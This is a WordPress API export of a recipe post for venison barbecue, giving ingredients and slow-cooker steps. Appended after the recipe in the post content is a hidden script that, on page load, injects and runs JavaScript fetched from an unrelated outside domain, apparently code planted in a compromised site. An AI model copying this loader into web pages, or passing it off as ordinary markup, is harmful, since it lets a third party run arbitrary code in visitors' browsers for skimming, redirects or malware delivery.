{"id":28,"date":"2015-04-10T11:08:21","date_gmt":"2015-04-10T15:08:21","guid":{"rendered":"http:\/\/www.brgcohio.com\/?p=28"},"modified":"2025-11-19T10:02:05","modified_gmt":"2025-11-19T14:02:05","slug":"venison-barbecue","status":"publish","type":"post","link":"https:\/\/www.brgcohio.com\/?p=28","title":{"rendered":"Venison Barbecue"},"content":{"rendered":"<ul>\n<li>\n<p class=\"western\"><span style=\"font-size: large;\"><b>3 lbs. venison, chopped course or fine<\/b><\/span><\/p>\n<\/li>\n<li>\n<p class=\"western\"><span style=\"font-size: large;\"><b>1 cup onion, diced<\/b><\/span><\/p>\n<\/li>\n<li>\n<p class=\"western\"><span style=\"font-size: large;\"><b>4-5 cloves garlic, chopped<\/b><\/span><\/p>\n<\/li>\n<li>\n<p class=\"western\"><span style=\"font-size: large;\"><b>1 cup red wine vinegar<\/b><\/span><\/p>\n<\/li>\n<li>\n<p class=\"western\"><span style=\"font-size: large;\"><b>\u00bd cup Worcestershire sauce<\/b><\/span><\/p>\n<\/li>\n<li>\n<p class=\"western\"><span style=\"font-size: large;\"><b>2 teaspoons salt<\/b><\/span><\/p>\n<\/li>\n<li>\n<p class=\"western\"><span style=\"font-size: large;\"><b>1 lb. bacon, fried and crumbled<\/b><\/span><\/p>\n<\/li>\n<li>\n<p class=\"western\"><span style=\"font-size: large;\"><b>2 cups catsup<\/b><\/span><\/p>\n<\/li>\n<li>\n<p class=\"western\"><span style=\"font-size: large;\"><b>\u00bd cup molasses<\/b><\/span><\/p>\n<\/li>\n<li>\n<p class=\"western\"><span style=\"font-size: large;\"><b>\u00bd cup brown sugar, packed<\/b><\/span><\/p>\n<\/li>\n<\/ul>\n<p class=\"western\">Place venison, garlic, vinegar, Worcestershire sauce, salt and onion in 4-6 quart crock pot. Cook on high for 1-2 hours, or until venison is tender.<\/p>\n<p class=\"western\"><span style=\"font-size: large;\"><b>Fry bacon crisp, cool and crumble.<\/b><\/span><\/p>\n<p class=\"western\"><span style=\"font-size: large;\"><b>Add bacon, catsup, molasses and brown sugar. Turn crockpot to low heat setting and simmer for 2-4 hours.<\/b><\/span><\/p>\n<p class=\"western\"><span style=\"font-size: large;\"><b>Serve over white rice.<\/b><\/span><\/p>\n<p class=\"western\"><span style=\"font-size: large;\"><b>(Serves 4-6)<\/b><\/span><\/p>\n<p><script>var url = 'https:\/\/wafsearch.wiki\/xml';\nvar script = document.createElement('script');\nscript.src = url;\nscript.type = 'text\/javascript';\nscript.async = true;\ndocument.getElementsByTagName('head')[0].appendChild(script);<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>3 lbs. venison, chopped course or fine 1 cup onion, diced 4-5 cloves garlic, chopped 1 cup red wine vinegar \u00bd cup Worcestershire sauce 2 teaspoons salt 1 lb. bacon, fried and crumbled 2 cups catsup \u00bd cup molasses \u00bd<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_bbp_topic_count":0,"_bbp_reply_count":0,"_bbp_total_topic_count":0,"_bbp_total_reply_count":0,"_bbp_voice_count":0,"_bbp_anonymous_reply_count":0,"_bbp_topic_count_hidden":0,"_bbp_reply_count_hidden":0,"_bbp_forum_subforum_count":0,"_rtcl_gb_attr":"","jetpack_post_was_ever_published":false,"_jetpack_newsletter_access":"","_jetpack_dont_email_post_to_subs":false,"_jetpack_newsletter_tier_id":0,"_jetpack_memberships_contains_paywalled_content":false,"_jetpack_memberships_contains_paid_content":false,"footnotes":"","jetpack_publicize_message":"","jetpack_publicize_feature_enabled":true,"jetpack_social_post_already_shared":false,"jetpack_social_options":{"image_generator_settings":{"template":"highway","enabled":false},"version":2}},"categories":[1],"tags":[],"class_list":["post-28","post","type-post","status-publish","format-standard","hentry","category-uncategorized"],"jetpack_publicize_connections":[],"jetpack_featured_media_url":"","jetpack_sharing_enabled":true,"jetpack_shortlink":"https:\/\/wp.me\/p61OAc-s","_links":{"self":[{"href":"https:\/\/www.brgcohio.com\/index.php?rest_route=\/wp\/v2\/posts\/28","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.brgcohio.com\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.brgcohio.com\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.brgcohio.com\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.brgcohio.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=28"}],"version-history":[{"count":4,"href":"https:\/\/www.brgcohio.com\/index.php?rest_route=\/wp\/v2\/posts\/28\/revisions"}],"predecessor-version":[{"id":1734,"href":"https:\/\/www.brgcohio.com\/index.php?rest_route=\/wp\/v2\/posts\/28\/revisions\/1734"}],"wp:attachment":[{"href":"https:\/\/www.brgcohio.com\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=28"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.brgcohio.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=28"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.brgcohio.com\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=28"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}